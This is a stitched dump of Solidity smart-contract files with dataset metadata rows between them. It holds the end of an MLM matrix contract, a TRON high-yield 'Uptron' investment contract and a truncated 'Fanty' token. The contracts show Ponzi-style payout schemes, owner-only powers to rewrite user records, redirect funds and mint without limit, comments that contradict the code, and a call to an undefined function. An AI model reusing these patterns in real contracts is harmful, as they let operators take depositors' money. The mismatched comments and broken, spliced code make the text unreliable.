mapping (address => uint) public userList;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint stats = 0 ether;
uint Stats = 0 ether;
bool public paused = false;
constructor() public {
LEVEL_PRICE[0.1 ether] = 1;
LEVEL_PRICE[0.15 ether] = 2;
LEVEL_PRICE[0.5 ether] = 3;
LEVEL_PRICE[1.5 ether] = 4;
LEVEL_PRICE[3.5 ether] = 5;
LEVEL_PRICE[7 ether] = 6;
LEVEL_PRICE[20 ether] = 7;
LEVEL_PRICE[60 ether] = 8;
SPONSOR[0.1 ether] = 0.027 ether;
SPONSOR[0.15 ether] = 0.105 ether;
SPONSOR[0.5 ether] = 0.35 ether;
SPONSOR[1.5 ether] = 1.05 ether;
SPONSOR[3.5 ether] = 2.45 ether;
SPONSOR[7 ether] = 4.9 ether;
SPONSOR[20 ether] = 14 ether;
SPONSOR[60 ether] = 42 ether;
INTRODUCER[0.1 ether] = 0.0315 ether;
INTRODUCER[0.15 ether] = 0.0225 ether;
INTRODUCER[0.5 ether] = 0.075 ether;
INTRODUCER[1.5 ether] = 0.225 ether;
INTRODUCER[3.5 ether] = 0.525 ether;
INTRODUCER[7 ether] = 1.05 ether;
INTRODUCER[20 ether] = 3 ether;
INTRODUCER[60 ether] = 9 ether;
UPLINE[0.1 ether] = 0.00504 ether;
UPLINE[0.15 ether] = 0.0036 ether;
UPLINE[0.5 ether] = 0.012 ether;
UPLINE[1.5 ether] = 0.036 ether;
UPLINE[3.5 ether] = 0.084 ether;
UPLINE[7 ether] = 0.168 ether;
UPLINE[20 ether] = 0.48 ether;
UPLINE[60 ether] = 1.44 ether;
FEE[0.1 ether] = 0.01 ether;
UserStruct memory userStruct;
currentUserID++;
userStruct = UserStruct({
manual: false,
isExist: true,
level: 18,
introducedTotal: 0,
referrerID: 0,
introducerID: 0,
wallet: main_address,
introducers: new uint[](0),
referrals: new uint[](0)
});
users[currentUserID] = userStruct;
userList[main_address] = currentUserID;
}
function setMainAddress(address _main_address) public onlyOwner {
require(userList[_main_address] == 0, 'Address is already in use by another user');
delete userList[main_address];
userList[_main_address] = uint(1);
main_address = _main_address;
users[1].wallet = _main_address;
}
function setAddress(address _main_address, address _upline_address) public onlyOwner {
Main_address = _main_address;
Upline_address = _upline_address;
}
function setPaused(bool _paused) public onlyOwner {
paused = _paused;
}
function getStats() public view onlyOwner returns(uint) {
return Stats;
}
function setLevelPrice(uint _price, uint _level) public onlyOwner {
LEVEL_PRICE[_price] = _level;
}
function setSponsor(uint _price, uint _sponsor) public onlyOwner {
SPONSOR[_price] = _sponsor;
}
function setIntroducer(uint _price, uint _introducer) public onlyOwner {
INTRODUCER[_price] = _introducer;
}
function setUpline(uint _price, uint _upline) public onlyOwner {
UPLINE[_price] = _upline;
}
function setFee(uint _price, uint _fee) public onlyOwner {
FEE[_price] = _fee;
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
currentUserID = _currentUserID;
}
function viewStats() public view onlyOwner returns(uint) {
return stats;
}
function addManagers(address manager_1, address manager_2, address manager_3, address manager_4, address manager_5, address manager_6, address manager_7, address manager_8, address manager_9, address manager_10) public onlyOwner {
managers[manager_1] = true;
managers[manager_2] = true;
managers[manager_3] = true;
managers[manager_4] = true;
managers[manager_5] = true;
managers[manager_6] = true;
managers[manager_7] = true;
managers[manager_8] = true;
managers[manager_9] = true;
managers[manager_10] = true;
}
function removeManagers(address manager_1, address manager_2, address manager_3, address manager_4, address manager_5, address manager_6, address manager_7, address manager_8, address manager_9, address manager_10) public onlyOwner {
managers[manager_1] = false;
managers[manager_2] = false;
managers[manager_3] = false;
managers[manager_4] = false;
managers[manager_5] = false;
managers[manager_6] = false;
managers[manager_7] = false;
managers[manager_8] = false;
managers[manager_9] = false;
managers[manager_10] = false;
}
function addManager(address manager) public onlyOwner {
managers[manager] = true;
}
function removeManager(address manager) public onlyOwner {
managers[manager] = false;
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _referral1, uint _referral2, uint _referral3, uint _level, uint _introducedTotal) public {
require(msg.sender == owner || managers[msg.sender], "Only for owner");
require(_userID > 1, 'Invalid user ID');
require(_level > 0, 'Invalid level');
require(_introducedTotal >= 0, 'Invalid introduced total');
require(_wallet != address(0), 'Invalid user wallet');
if(_userID > 1){
require(_referrerID > 0, 'Invalid referrer ID');
require(_introducerID > 0, 'Invalid introducer ID');
}
if(_userID > currentUserID){
currentUserID++;
}
if(users[_userID].isExist){
delete userList[users[_userID].wallet];
delete users[_userID];
}
UserStruct memory userStruct;
userStruct = UserStruct({
manual: true,
isExist: true,
level: _level,
introducedTotal: _introducedTotal,
referrerID: _referrerID,
introducerID: _introducerID,
wallet: _wallet,
introducers: new uint[](0),
referrals: new uint[](0)
});
users[_userID] = userStruct;
userList[_wallet] = _userID;
if(_referral1 != uint(0)){
users[_userID].referrals.push(_referral1);
}
if(_referral2 != uint(0)){
users[_userID].referrals.push(_referral2);
}
if(_referral3 != uint(0)){
users[_userID].referrals.push(_referral3);
}
}
function () external payable {
require(!paused);
require(LEVEL_PRICE[msg.value] > 0, 'You have sent incorrect payment amount');
if(LEVEL_PRICE[msg.value] == 1){
uint referrerID = 0;
address referrer = bytesToAddress(msg.data);
if(referrer == address(0)){
referrerID = 1;
} else if (userList[referrer] > 0 && userList[referrer] <= currentUserID){
referrerID = userList[referrer];
} else {
revert('Incorrect referrer');
}
if(users[userList[msg.sender]].isExist){
revert('You are already signed up');
} else {
registerUser(referrerID);
}
} else if(users[userList[msg.sender]].isExist){
upgradeUser(LEVEL_PRICE[msg.value]);
} else {
revert("Please buy first level");
}
}
function registerUser(uint _referrerID) internal {
require(!users[userList[msg.sender]].isExist, 'You are already signed up');
require(_referrerID > 0 && _referrerID <= currentUserID, 'Incorrect referrer ID');
require(LEVEL_PRICE[msg.value] == 1, 'You have sent incorrect payment amount');
uint _introducerID = _referrerID;
if(_referrerID != 1 && users[_referrerID].referrals.length >= REFERRAL_LIMIT)
{
_referrerID = findFreeReferrer(_referrerID);
}
UserStruct memory userStruct;
currentUserID++;
userStruct = UserStruct({
manual: false,
isExist : true,
level: 1,
introducedTotal: 0,
referrerID : _referrerID,
introducerID : _introducerID,
wallet : msg.sender,
introducers: new uint[](0),
referrals : new uint[](0)
});
users[currentUserID] = userStruct;
userList[msg.sender] = currentUserID;
uint upline_1_id = users[_introducerID].introducerID;
uint upline_2_id = users[upline_1_id].introducerID;
uint upline_3_id = users[upline_2_id].introducerID;
uint upline_4_id = users[upline_3_id].introducerID;
if(upline_1_id >0){
users[currentUserID].introducers.push(upline_1_id);
}
if(upline_2_id >0){
users[currentUserID].introducers.push(upline_2_id);
}
if(upline_3_id >0){
users[currentUserID].introducers.push(upline_3_id);
}
if(upline_4_id >0){
users[currentUserID].introducers.push(upline_4_id);
}
if(_referrerID != 1){
users[_referrerID].referrals.push(currentUserID);
}
users[_referrerID].introducedTotal += 1;
stats_level[1] = SafeMath.add(stats_level[1], uint(1));
processPayment(currentUserID, 1);
emit Register(currentUserID, _referrerID, _introducerID, now);
}
function upgradeUser(uint _level) internal {
require(users[userList[msg.sender]].isExist, 'You are not signed up yet');
require(_level >= 2 && _level <= 18, 'Incorrect level');
require(LEVEL_PRICE[msg.value] == _level, 'You have sent incorrect payment amount');
require(users[userList[msg.sender]].level < _level, 'You have already activated this level');
uint level_previous = SafeMath.sub(_level, uint(1));
require(users[userList[msg.sender]].level == level_previous, 'Buy the previous level first');
users[userList[msg.sender]].level = _level;
stats_level[level_previous] = SafeMath.sub(stats_level[level_previous], uint(1));
stats_level[_level] = SafeMath.add(stats_level[_level], uint(1));
processPayment(userList[msg.sender], _level);
emit Upgrade(userList[msg.sender], _level, msg.value, now);
}
function processPayment(uint _user, uint _level) internal {
uint sponsor_id;
uint introducer_id = users[_user].introducerID;
uint money_left = msg.value;
if(users[_user].manual == true){
uint upline_2_id = users[users[introducer_id].introducerID].introducerID;
uint upline_3_id = users[upline_2_id].introducerID;
uint upline_4_id = users[upline_3_id].introducerID;
if(users[introducer_id].introducerID >0){
users[_user].introducers.push(users[introducer_id].introducerID);
}
if(upline_2_id >0){
users[_user].introducers.push(upline_2_id);
}
if(upline_3_id >0){
users[_user].introducers.push(upline_3_id);
}
if(upline_4_id >0){
users[_user].introducers.push(upline_4_id);
}
users[_user].manual = false;
}
if(FEE[msg.value] > 0){
address(uint160(Main_address)).transfer(FEE[msg.value]);
money_left = SafeMath.sub(money_left,FEE[msg.value]);
stats = SafeMath.add(stats,FEE[msg.value]);
}
if(_level == 1 || _level == 5 || _level == 9 || _level == 13 || _level == 17){
sponsor_id = users[_user].referrerID;
} else if(_level == 2 || _level == 6 || _level == 10 || _level == 14 || _level == 18){
sponsor_id = users[users[_user].referrerID].referrerID;
} else if(_level == 3 || _level == 7 || _level == 11 || _level == 15){
sponsor_id = users[users[users[_user].referrerID].referrerID].referrerID;
} else if(_level == 4 || _level == 8 || _level == 12 || _level == 16){
sponsor_id = users[users[users[users[_user].referrerID].referrerID].referrerID].referrerID;
}
stats_total = SafeMath.add(stats_total,msg.value);
if(!users[sponsor_id].isExist || users[sponsor_id].level < _level){
if(users[_user].referrerID != 1){
emit Lost(_user, sponsor_id, uint(1), _level, SPONSOR[msg.value], now);
}
} else {
address(uint160(users[sponsor_id].wallet)).transfer(SPONSOR[msg.value]);
money_left = SafeMath.sub(money_left,SPONSOR[msg.value]);
emit Payment(_user, sponsor_id, uint(1), _level, SPONSOR[msg.value], now);
}
if(users[introducer_id].isExist){
if(INTRODUCER[msg.value] > 0){
address(uint160(users[introducer_id].wallet)).transfer(INTRODUCER[msg.value]);
money_left = SafeMath.sub(money_left,INTRODUCER[msg.value]);
emit Payment(_user, introducer_id, uint(2), _level, INTRODUCER[msg.value], now);
}
if(UPLINE[msg.value] > 0){
if(introducer_id > 0 && users[users[introducer_id].introducerID].isExist){
for (uint i=0; i<users[_user].introducers.length; i++) {
if(users[users[_user].introducers[i]].isExist && (users[users[_user].introducers[i]].introducedTotal >= SafeMath.add(i, uint(1)) || users[users[_user].introducers[i]].introducedTotal >= uint(3))){
address(uint160(users[users[_user].introducers[i]].wallet)).transfer(UPLINE[msg.value]);
emit Payment(_user, users[_user].introducers[i], uint(3), _level, UPLINE[msg.value], now);
money_left = SafeMath.sub(money_left,UPLINE[msg.value]);
} else {
emit Lost(_user, users[_user].introducers[i], uint(3), _level, UPLINE[msg.value], now);
}
}
}
}
}
if(money_left > 0){
address(uint160(Upline_address)).transfer(money_left);
Stats = SafeMath.add(Stats,money_left);
}
}
function findFreeReferrer(uint _user) public view returns(uint) {
require(users[_user].isExist, 'User does not exist');
if(users[_user].referrals.length < REFERRAL_LIMIT){
return _user;
}
uint[] memory referrals = new uint[](363);
referrals[0] = users[_user].referrals[0];
referrals[1] = users[_user].referrals[1];
referrals[2] = users[_user].referrals[2];
uint freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 363; i++){
if(users[referrals[i]].referrals.length == REFERRAL_LIMIT){
if(i < 120){
referrals[(i+1)*3] = users[referrals[i]].referrals[0];
referrals[(i+1)*3+1] = users[referrals[i]].referrals[1];
referrals[(i+1)*3+2] = users[referrals[i]].referrals[2];
}
} else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
if(noFreeReferrer){
freeReferrer = 1;
}
return freeReferrer;
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
return users[_user].referrals;
}
function viewUserIntroducers(uint _user) public view returns(uint[] memory) {
return users[_user].introducers;
}
function viewUserLevel(uint _user) public view returns(uint) {
return users[_user].level;
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 165,137 | 133 |
29ec959e886d9f52da1eed34e2416301d7bbf27c8720e24810b5f6b90441e207
| 10,698 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TD4mBevVKx2S3TPeUiUFnPXEVBrMnp7Civ_Uptron.sol
| 3,510 | 10,530 |
//SourceUnit: Uptron.sol
pragma solidity 0.5.12;
// Referidos Tier 1 4% / Tier 3 2% / Tier 3 1%
// 120 % included initial deposit
// Maximum Bonus Rate 12 % daily / If Withdraw Bonus Balance set in Zero % forever
// 87 % Balance Deposit Fund / 10 % Marketing / 3 % Company
// Start Time 2020.12.09 15:00 GMT
contract Uptron {
using SafeMath for uint256;
uint256 constant public START_TIME = 1607526000;//Start Time 2020.12.09 15:00 GMT, timestamp
uint256 constant public INVEST_MIN_AMOUNT = 200 trx;//min 200 trx for investing
uint256 constant public BASE_PERCENT = 42;//4,2% / day
uint256 constant public HOLD_BONUS = 5;//+0.5% daily without withdrow
uint256 constant public MAX_PERCENT = 120;//12% max percent/day
uint256 constant public MAX_PROFIT = 1500;//150% max profit (+ 50% to the deposit)
uint256[] public REFERRAL_PERCENTS = [40, 30, 10];//1lvl=4%,2lvl=3%,3lvl=10%
uint256 constant public MARKETING_FEE = 100;//10% to marketing wallet
uint256 constant public PROJECT_FEE = 30;//3% to project wallet
uint256 constant public DEPOSIT_FUNDS = 870;//87% on deposit
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 500000 trx;
uint256 constant public CONTRACT_BONUS_STEP = 5;//Bonus Balance 0.5 % every 500.000 in Live Balance
uint256 constant public TIME_STEP = 1 days ;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
uint256 public backBalance;
address payable public marketingAddress;
address payable public projectAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address payable projectAddr) public {
require(!isContract(marketingAddr) && !isContract(projectAddr));
marketingAddress = marketingAddr;
projectAddress = projectAddr;
}
function invest(address referrer) public payable {
require(now >= START_TIME);
require(msg.value >= INVEST_MIN_AMOUNT);
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
projectAddress.transfer(msg.value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
backBalance = backBalance.add(msg.value.div(PERCENTS_DIVIDER).mul(DEPOSIT_FUNDS));
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < (user.deposits[i].amount.mul(MAX_PROFIT).div(PERCENTS_DIVIDER))) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(MAX_PROFIT).div(PERCENTS_DIVIDER)) {
dividends = (user.deposits[i].amount.mul(MAX_PROFIT).div(PERCENTS_DIVIDER)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = backBalance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent.mul(CONTRACT_BONUS_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (getUserTotalWithdrawn(userAddress) > 0){ // if User Whithdrawn Shometing, set 0 balance bonus + basic
contractBalanceRate = getContractBalanceRate();
}
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP).mul(HOLD_BONUS);
if(contractBalanceRate.add(timeMultiplier) >= MAX_PERCENT){ // if % is more than MAX_PERCENT% , set MAX_PERCENT%
return MAX_PERCENT;
}else{
return contractBalanceRate.add(timeMultiplier) ;
}
}else{
if(contractBalanceRate >= MAX_PERCENT){ // if % is more than MAX_PERCENT% , set MAX_PERCENT%
return MAX_PERCENT;
} else{
return contractBalanceRate;
}
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < (user.deposits[i].amount.mul(MAX_PROFIT).div(PERCENTS_DIVIDER))) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(MAX_PROFIT).div(PERCENTS_DIVIDER)) {
dividends = (user.deposits[i].amount.mul(MAX_PROFIT).div(PERCENTS_DIVIDER)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function isActive(address userAddress) public view returns (bool) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(3)) {
return true;
}
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
return amount;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 297,500 | 134 |
8f23b0d16c21ad2117a31707613b45ba06b7f9fe046ec4dcfdab6889982e0d3b
| 39,234 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f8/f86b3fe3ffd286703a404184260d5745038f78ca_Fanty.sol
| 4,961 | 19,675 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000;
string private _name = "FANTYSALE";
string private _symbol = "FANTY";
uint8 private _decimals = 18;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount,
"BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue,
"BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount,
"BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount,
"BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount,
"BEP20: burn amount exceeds allowance"));
}
}
// FantyToken with Governance.
contract Fanty is BEP20("FANTYSALE", "FANTY") {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
